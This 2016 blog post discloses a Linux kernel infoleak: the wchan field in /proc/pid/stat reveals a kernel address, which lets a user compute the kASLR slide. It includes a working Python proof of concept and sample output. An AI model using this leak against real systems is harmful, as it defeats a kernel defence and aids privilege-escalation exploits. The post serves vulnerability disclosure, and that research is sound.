Exploiting a Linux Kernel Infoleak to bypass Linux kASLR 2016

Preliminary note

Also kASLR is not enabled yet by default on popular distribution as far as I know.
I hope that in the recent future it will become mainstream, and much stronger, both on Linux distros and Android devices, since it makes kernel exploitation likely to require also a infoleak, and the other popular mainstream OS like Windows or OS X/iOS are already adopting it, why Linux is always lagging behind?
ASLR anyway it’s not the holy grail of security, as we will see in the post, it can be bypassed even with a simple leak. You can read this post by spender on the topic and some thoughts about the limitations.
I saw several time @grsecurity mentioning a similar vulnerability on Twitter, so it was most likely very well known also by other people before me. But unfortunately, the Linux kernel community attitude towards Security is not the best one, so infoleaks are probably getting very low attention, if any.

Post

Time ago while reading on /proc filesystem for Android, the wchan field caught my attention:
WCHAN

wait channel. The address of an event on which a particular process is waiting.
Abbreviation appears in output of ps command with -l option.
You can peek into a process wchan value from userspace reading into /proc/pid_of_interest/stat.
So this wchan value will return the address of where our program is “waiting”. That’s pretty vague. What about if our process is in kernel space, will it return us a kernel address?
The answer is yes, as you can see here:
marco@marco-l:~/Documents$ cat /proc/2755/stat
2755 (sleep) S 2499 2755 2499 34817 2759 1077960704 124 0 0 0 0 0 0 0 20 0 1 0 82435 11673600 170 18446744073709551615 4194304 4218740 140722592633520 140722592633144 140073761328928 0 0 0 0 18446744071579755915 0 0 17 1 0 0 0 0 0 6319632 6320692 32489472 140722592637401 140722592637415 140722592637415 140722592641005 0
The value 18446744071579755915 it’s obviously a kernel code location since in hex is:
>>> hex(18446744071579755915)
'0xffffffff810de58bL'
kASLR is not enabled by default on Ubuntu, at least 14.04, so we will have to add a “kaslr” to the kernel command line to enable it, you can find how to add stuff into the kernel command line on Google.
After we have booted the system, we can run our PoC:
marco@marco-l:~/Documents$ python infoleak.py 
Leaking kernel pointers...
leak: 0xffffffffb70de58b 18446744072485725579
kASLR slide: 0x36000000

How does it works?

The PoC is very simple, dirty and quick, and in python since we just need to fork and read stuff. Like we said before, in /proc/pid/stat the wchan will tell us where the code is waiting in kernel space so we can:
  1. Find a way to make stable this “wait” location
  2. Leak the ASLR’d value via the wchan
  3. Diff this leaked value with a known non slided value
  4. Output the kernel slide
For (1) we can leverage that if we fork a process and make it sleep, we can both read his/proc/sleeping-pid/stat and it will be a stable value, since that process will be stuck to sleep in kernel space, waiting to be rescheduled when his sleep is finished.
(2) was already covered how to do it, it’s one of the fields in the stat at a known position.
(3) we can get the non slid value by running the kernel without kASLR enabled on our test machine.

PoC

You will have to edit the NON_SLID_VALUE by running the PoC on your target kernel with kASLR disabled, putting the hex value that you get in leak: 0xffffffffb70de58b.
import subprocess
import time
import sys

import pprint

PROC_PATH = "/proc/%d/stat"

NON_SLID_VALUE = 0xffffffff810de58b

def main():
    sleepp = subprocess.Popen('sleep 100000'.split())

    time.sleep(1)

    child_pid = sleepp.pid

    content = None
    with open(PROC_PATH %(child_pid), 'r') as f:
        content = f.read()
    
    if not content:
        print 'Unable to read stat from child'
        sys.exit(0)

    elements = content.split()

    print 'Leaking kernel pointers...'

    leak = int(elements[34])

    print 'leak: 0x%x %d' %(leak, leak)

    print 'kASLR slide: 0x%x' %(leak - NON_SLID_VALUE)


if __name__ == '__main__':
    main()

Final Note

Feel free to contact me if there is any error/mistake/question or suggestion. The bug nowadays since kASLR is not enabled by default was not really useful so I didn’t spend much time and efforts verifying everything and check the kernel code.
The kASLR slide seems quite weak in terms of randomization, I haven’t checked how much bits, but it’s better than nothing if we can get this on our Android devices, it’s a start. :)

Take aways:

  • The Linux kernel maintainers should show a more friendly attitude to the security community, at the end we all like and use Linux, and we would both like to make it even better.

No comments :